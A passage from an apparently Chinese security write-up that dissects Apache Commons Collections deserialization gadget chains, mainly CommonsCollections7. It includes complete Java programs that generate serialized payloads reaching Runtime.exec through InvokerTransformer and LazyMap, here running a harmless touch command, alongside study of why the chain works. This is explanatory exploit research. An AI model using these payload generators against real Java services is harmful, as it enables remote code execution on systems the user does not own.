                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{}}),
                new InvokerTransformer("exec", new Class[]{String[].class}, new Object[]{new String[]{"/bin/touch", "/dev/shm/asdasd_1"}}),
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(fake);

        HashMap innerMap = new HashMap<String, String>();

        LazyMap lazyMap = (LazyMap) LazyMap.decorate(innerMap, chainedTransformer);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "placeholder");

        HashMap hashMap = new HashMap();
        hashMap.put(tiedMapEntry, "zzzz");

        Field field = chainedTransformer.getClass().getDeclaredField("iTransformers"); // 将真正的 transformers 设置, 不然在生成 exp 时就会执行命令, 自己打自己了
        field.setAccessible(true);
        field.set(chainedTransformer, transformers);
        innerMap.clear(); // 清除 LazyMap 产生的缓存

        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("out.bin"));
        oos.writeObject(hashMap);
    }
}

同样, 这套 exp 在 3, 4 都是通用的, 只需要更改 LazyMap.decorate 即可, 在 4 中是 LazyMap.LazyMap, 效果是是一样的, 只是方法名换了一个.

CommonsCollections7

仍然先看调用栈:

Payload method chain:
    java.util.Hashtable.readObject
    java.util.Hashtable.reconstitutionPut
    org.apache.commons.collections.map.AbstractMapDecorator.equals
    java.util.AbstractMap.equals
    org.apache.commons.collections.map.LazyMap.get
    org.apache.commons.collections.functors.ChainedTransformer.transform
    org.apache.commons.collections.functors.InvokerTransformer.transform
    java.lang.reflect.Method.invoke
    sun.reflect.DelegatingMethodAccessorImpl.invoke
    sun.reflect.NativeMethodAccessorImpl.invoke
    sun.reflect.NativeMethodAccessorImpl.invoke0
    java.lang.Runtime.exec

仍然是用 LazyMap 导致 RCE, 相比 TransformingComparator, LazyMap 在 3, 4 中都可以用, 泛用性会更好. 这里触发 Lazy.get 的方式是利用 HashMap/Hashtable readObject 会重建内部的哈希表的特性. 在遇到 hash 碰撞的时候, 会调用其中一个对象的 equals 方法来对比两个对象是否相同来判断是否真的是 hash 碰撞. 在这之中使用的是父类 AbstractMap 的 equals 方法.

public boolean equals(Object o) {
    if (o == this)
        return true;

    if (!(o instanceof Map))
        return false;
    Map<?,?> m = (Map<?,?>) o;
    if (m.size() != size())
        return false;

    try {
        for (Entry<K, V> e : entrySet()) {
            K key = e.getKey();
            V value = e.getValue();
            if (value == null) {
                if (!(m.get(key) == null && m.containsKey(key)))
                    return false;
            } else {
                if (!value.equals(m.get(key))) // <-- 对于我们的 exp 来说, 会在这里会触发
                    return false;
            }
        }
    } catch (ClassCastException unused) {
        return false;
    } catch (NullPointerException unused) {
        return false;
    }

    return true;
}

可以看到这个方法比较两个 Map 的大小, 并对比所有 key, value 都相等. 在其中使用了 get 方法, 触发了 Lazy.get.
在 ysoseiral 中使用的是 Hashtable 类, 实际上 HashMap 也是能够触发的.

final V putVal(int hash, K key, V value, boolean onlyIfAbsent,
                   boolean evict) {
        Node<K,V>[] tab; Node<K,V> p; int n, i;
    if ((tab = table) == null || (n = tab.length) == 0)
        n = (tab = resize()).length;
    if ((p = tab[i = (n - 1) & hash]) == null)
        tab[i] = newNode(hash, key, value, null);
    else {
        Node<K,V> e; K k;
        if (p.hash == hash &&
            ((k = p.key) == key || (key != null && key.equals(k))))  // <-- 这里进入 AbstractMap.equals
            e = p;
        else if (p instanceof TreeNode)
            e = ((TreeNode<K,V>)p).putTreeVal(this, tab, hash, key, value);
        else {
            for (int binCount = 0; ; ++binCount) {
                if ((e = p.next) == null) {
                    p.next = newNode(hash, key, value, null);
                    if (binCount >= TREEIFY_THRESHOLD - 1) // -1 for 1st
                        treeifyBin(tab, hash);
                    break;
                }
                if (e.hash == hash &&
                    ((k = e.key) == key || (key != null && key.equals(k))))
                    break;
                p = e;
            }
        }
        if (e != null) { // existing mapping for key
            V oldValue = e.value;
            if (!onlyIfAbsent || oldValue == null)
                e.value = value;
            afterNodeAccess(e);
            return oldValue;
        }
    }
    ++modCount;
    if (++size > threshold)
        resize();
    afterNodeInsertion(evict);
    return null;
}

最后 exp 如下:

package demo.rmb122;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;

public class CommonsCollections7 {
    public static void main(String[] args) throws Exception {
        Transformer[] fake = new Transformer[]{
                new ConstantTransformer("placeholder"),
        };

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(java.lang.Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{}}),
                new InvokerTransformer("exec", new Class[]{String[].class}, new Object[]{new String[]{"/bin/touch", "/dev/shm/asdasd_1"}}),
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(fake);

        HashMap innerMap1 = new HashMap<String, String>();
        innerMap1.put("yy", "1"); // "yy".hashCode() == "zZ".hashCode() == 3872
        HashMap innerMap2 = new HashMap<String, String>();
        innerMap2.put("zZ", "1");

        LazyMap lazyMap1 = (LazyMap) LazyMap.decorate(innerMap1, chainedTransformer);
        LazyMap lazyMap2 = (LazyMap) LazyMap.decorate(innerMap2, chainedTransformer);

        HashMap hashMap = new HashMap();
        hashMap.put(lazyMap1, "placeholder");
        hashMap.put(lazyMap2, "placeholder");

        innerMap1.remove("zZ"); // 在 put 的时候产生碰撞, 根据上面的分析调用 LazyMap.get, LazyMap 会将结果存入 innerMap 中缓存, 所以这里需要将其清除, 否则 hashcode 就不一样了 

        Field field = chainedTransformer.getClass().getDeclaredField("iTransformers"); // 同上, 将真正的 transformers 设置, 不然在生成 exp 时就会执行命令, 自己打自己了
        field.setAccessible(true);
        field.set(chainedTransformer, transformers);

        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("out.bin"));
        oos.writeObject(hashMap);
    }
}

总结

可以看到这些 chain 最后均需要经过 InvokerTransformer 或者 InstantiateTransformer. commons-collections 的修复也是着力于重点, 直接 ban 掉这两个类的 readObject, 一劳永逸.
而这些中对于 commons-collections4, 比较实用的是 CommonsCollections2, CommonsCollections4. 对于 commons-collections3, 为 CommonsCollections6, CommonsCollections7. 利用能否成功只与 commons-collections 自身的版本有关, 而与 jre 的版本没有太大关系, 只要不要是远古版本即可. 而且实际上不少 chain 是两者都通用的, 只不过 ysoserial 没有编写, 只需要稍稍修改就行.
另外在反序列化利用过程中, 会有各种相对比较晦涩但经常用到的的概念, 比如代理, ClassLoader, 反射等等. 如果能通过这个机会学习上, 相信会有机会在未来的某一天用上.

点击收藏 | 1 关注 | 1
登录 后跟帖